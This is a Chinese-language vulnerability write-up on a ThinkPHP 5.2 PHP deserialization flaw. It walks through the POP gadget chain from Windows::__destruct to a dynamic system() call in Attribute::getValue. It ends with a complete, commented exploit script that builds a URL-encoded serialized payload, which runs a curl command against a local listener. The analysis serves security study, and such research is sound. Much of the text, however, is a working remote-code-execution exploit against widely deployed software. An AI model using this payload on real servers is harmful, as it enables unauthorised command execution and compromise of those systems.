🐘 ThinkPHP 5.2 反序列化漏洞深度分析
漏洞类型 :反序列化命令执行 影响版本 :ThinkPHP 5.2.x 危险等级 :🔴 高危 分析时间:2026-03-27
📌 目录
🎯 漏洞验证
测试代码
/app/controller/index.php
<?php
namespace app\controller;
class Index
{
public function index($input='')
{
echo $input;
unserialize($input); // ← 漏洞点
}
}
执行结果
✅ 成功执行
whoami命令
🔗 POP 链分析
整体链路图
┌────────────────────────────────────────────────────────────────┐
│ POP Chain Overview │
├────────────────────────────────────────────────────────────────┤
│ Windows::__destruct() │
│ │ │
│ ▼ │
│ file_exists() → 触发 __toString() │
│ │ │
│ ▼ │
│ Conversion::toJson() │
│ │ │
│ ▼ │
│ Conversion::toArray() │
│ │ │
│ ▼ │
│ Attribute::getAttr() │
│ │ │
│ ▼ │
│ Attribute::getValue() │
│ │ │
│ ▼ │
│ $closure($value) → 命令执行! │
└────────────────────────────────────────────────────────────────┘
第一步:反序列化入口 Windows::__destruct()
关键代码:
class Windows {
private $files = [];
public function __destruct()
{
$this->removeFiles(); // ← 析构时自动调用
}
private function removeFiles()
{
foreach ($this->files as $file) {
if (is_file($file)) {
@unlink($file);
}
}
}
}
💡 我的思考:
为什么选
Windows类作为入口?
__destruct()在对象销毁时自动调用,无需额外触发条件
file_exists()处理对象时会触发__toString()魔术方法这是反序列化漏洞的经典入口点
第二步:跟进 removeFiles() 方法
关键机制:
// file_exists() 处理对象时
// PHP 会自动调用对象的 __toString() 方法
// 将其转换为字符串
💡 我的思考:
这是 PHP 的隐式类型转换特性。很多反序列化漏洞都利用了这个机制:
file_exists($obj)→__toString()
echo $obj→__toString()
$obj . "string"→__toString()
第三步:触发 __toString() 后跟进 toJson()
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
第四步:跟进 Conversion::toJson()
第五步:跟进 Conversion::toArray()
关键代码:
public function toArray()
{
$item = [];
$data = array_merge($this->data, $this->relation); // ← 数据源
foreach ($data as $key => $value) {
$attr = $this->getAttr($key); // ← 调用 getAttr
$item[$key] = $attr;
}
return $item;
}
💡 我的思考:
这里有两个可控点:
$this->data- 存储要执行的命令
$this->relation- 配合遍历使用
array_merge后,遍历每个 key 调用getAttr(),这就把控制权交给了下一步
第六步:跟进 Attribute::getAttr()
protected function getAttr($name)
{
$relation = $this->relation;
$value = $this->getData($name); // ← 从 data 数组取值
return $this->getValue($name, $value); // ← 调用 getValue
}
第七步:跟进 getValue() 和 getData()
关键代码:
// getData() - 从 data 数组取值
public function getData($name = null)
{
$fieldName = $this->getRealFieldName($name);
return $this->data[$fileName]; // ← 返回 data 数组中的值
}
// getValue() - 核心漏洞点
protected function getValue($name, $value)
{
if (isset($this->withAttr[$name])) {
$closure = $this->withAttr[$name]; // ← 可控!
$value = $closure($value); // ← 动态函数调用!
}
return $value;
}
💡 我的思考:
这是整个漏洞的最关键点!
问题本质 :
$closure来自用户可控的$this->withAttr数组,没有做任何过滤就直接执行。PHP 特性 :
'system'($cmd)等价于system($cmd)这种动态函数调用在 PHP 中是合法的,但在这里极其危险。
第八步:$value 参数溯源
$value值由传入的$name决定且带入getData方法,getRealFieldName方法返回值又为$name值,接着带入$this->data[$fileName]。
第九步:getData() 方法详解
这里看到:
-
getRealFieldName($name)这个方法只要有值,就直接返回 -
getData()方法在 Attribute 文件中 -
我们要定义
$this->data = array('abc'=>'system')这样,保证$name有值时返回对应的$this->data参数
第十步:$name 参数来源
$name 来自 toArray() 方法中的 $key,而 $key 来自:
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $value) { ... }
第十一步:Trait 机制让类互相访问
通过 use 关键字,让 Model 类可以使用多个 Trait 的属性和方法。
第十二步:$closure 参数构造
我们可以这样构建:
$this->withAttr = array("paper" => 'system');
// => $closure = 'system';
❓ 关键问题详解
问题 1:$closure 到底从哪来?
答案:从 $this->withAttr 数组来
// getValue() 中的关键代码
if (isset($this->withAttr[$name])) {
$closure = $this->withAttr[$name]; // ← 这里
$value = $closure($value);
}
攻击者构造:
$this->withAttr = ['paper' => 'system'];
// 当 $name = 'paper' 时
// $closure = 'system'
// 执行:'system'('curl http://...')
问题 2:为什么 $data = ['paper' => 'curl http://127.0.0.1:8897']?
答案:这是攻击者故意传入构造函数的参数
参数传递链:
┌─────────────────────────────────────────────────────────────┐
│ new Pivot(['paper' => 'curl ...']) │
│ │ │
│ ▼ │
│ Pivot::__construct($closure) │
│ $closure = ['paper' => 'curl ...'] │
│ │ │
│ ▼ │
│ parent::__construct($closure) │
│ │ │
│ ▼ │
│ Model::__construct($closure) │
│ $this->data = $closure ← 赋值 │
│ │ │
│ ▼ │
│ 最终:$data = ['paper' => 'curl http://127.0.0.1:8897'] │
└─────────────────────────────────────────────────────────────┘
💡 我的思考:
为什么键名必须是
'paper'?其实可以是任意名字! 只要满足:
$data的键名 =$withAttr的键名这样
getValue()中才能匹配成功。
问题 3:序列化对象包含什么?
答案:只包含属性值,不包含代码
$pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);
序列化后的对象结构:
think\model\Pivot 对象
├── $relation = [] (来自 RelationShip Trait)
├── $visible = [] (来自 Conversion Trait)
├── $withAttr = ['paper' => 'system'] (来自 Attribute Trait)
└── $data = ['paper' => 'curl ...'] (来自 Attribute Trait)
⚠️ 重要提醒:
| ✅ 包含 | ❌ 不包含 |
|---|---|
| 所有属性值(数据) | 类定义代码 |
| 继承自父类的属性 | Trait 的实现 |
| 私有/保护/公有属性 | 方法实现 |
💡 我的思考:
这就像游戏存档:
存档文件只保存:等级、装备、位置(数据)
不保存:游戏引擎代码、角色类定义(代码)
读档时 :游戏程序必须已安装,才能读取存档数据 反序列化时 :服务器必须有 ThinkPHP 框架,否则报错
Class not found
问题 4:为什么键名必须是 'paper'?
答案:可以是任意名字,只要匹配就行!
// 方案 1:用 'paper'
$data = ['paper' => 'curl http://127.0.0.1:8897']
$withAttr = ['paper' => 'system']
// 方案 2:用 'cmd'
$data = ['cmd' => 'curl http://127.0.0.1:8897']
$withAttr = ['cmd' => 'system']
// 方案 3:用 'x'
$data = ['x' => 'whoami']
$withAttr = ['x' => 'system']
选择 'paper' 的可能原因:
-
随便起的名字,没有特殊含义
-
避免敏感词(
cmd,exec,system)被 WAF 拦截 -
参考文章作者的个人习惯
📊 完整变量对应关系图
┌─────────────────────────────────────────────────────────────────┐
│ 攻击者构造的 Payload │
├─────────────────────────────────────────────────────────────────┤
│ │
│ $data = ['paper' => 'curl http://127.0.0.1:8897'] │
│ │ │ │
│ │ └──→ $value (要执行的命令) │
│ │ │
│ └──→ $key (用于查找处理器) │
│ │
│ $withAttr = ['paper' => 'system'] │
│ │ │ │
│ │ └──→ $closure (函数名) │
│ │ │
│ └──→ 必须和 $data 的键名一致! │
│ │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ getValue() 方法执行 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ if (isset($this->withAttr[$name])) { │
│ $closure = $this->withAttr[$name]; // 'system' │
│ $value = $closure($value); // system('curl..') │
│ } │
│ │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 命令执行成功 ✅ │
│ system('curl http://127.0.0.1:8897') │
└─────────────────────────────────────────────────────────────────┘
📝 完整 EXP(带详细注释)
<?php
/**
* 🐘 ThinkPHP 5.2 反序列化漏洞利用脚本
*
* POP 链:Windows::__destruct → __toString → toJson → toArray
* → getAttr → getValue → 命令执行
*/
namespace think\process\pipes {
class Windows {
private $files = [];
function __construct($files) {
$this->files = $files;
}
}
}
namespace think\model\concern {
trait Conversion {
protected $visible;
}
trait RelationShip {
private $relation;
}
trait Attribute {
private $withAttr;
private $data;
}
}
namespace think {
abstract class Model {
use model\concern\RelationShip;
use model\concern\Conversion;
use model\concern\Attribute;
function __construct($closure) {
$this->data = $closure;
$this->relation = [];
$this->visible = [];
$this->withAttr = array("paper" => 'system');
}
}
}
namespace think\model {
class Pivot extends \think\Model {
function __construct($closure) {
parent::__construct($closure);
}
}
}
namespace {
$pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);
$windows = new think\process\pipes\Windows([$pivot]);
echo urlencode(serialize($windows));
}
🔄 执行流程总结
1. 服务器收到 Payload → unserialize($payload)
2. Windows 对象创建成功
3. 脚本结束 → Windows::__destruct() 自动调用
4. 遍历 $files 数组 → file_exists($pivot 对象)
5. file_exists 处理对象 → 触发 Pivot::__toString()
6. __toString → toJson() → toArray()
7. toArray 遍历 $this->data → getAttr('paper')
8. getAttr → getValue('paper', 'curl http://...')
9. getValue 中:$closure = $this->withAttr['paper'] = 'system'
10. 执行:'system'('curl http://127.0.0.1:8897')
11. 命令执行成功!✅
🔑 关键属性记忆表
| 属性 | 值 | 作用 | 来源 |
|---|---|---|---|
$files |
[Pivot 对象] |
触发 __destruct |
Windows 类 |
$data['paper'] |
'curl http://...' |
要执行的命令 | Attribute Trait |
$withAttr['paper'] |
'system' |
要调用的函数 | Attribute Trait |
$relation |
[] |
配合遍历 | RelationShip Trait |
$visible |
[] |
配合遍历 | Conversion Trait |
🔐 安全研究,仅供学习,请勿用于非法用途
分析完成时间:2026-03-27 01:00
</div>













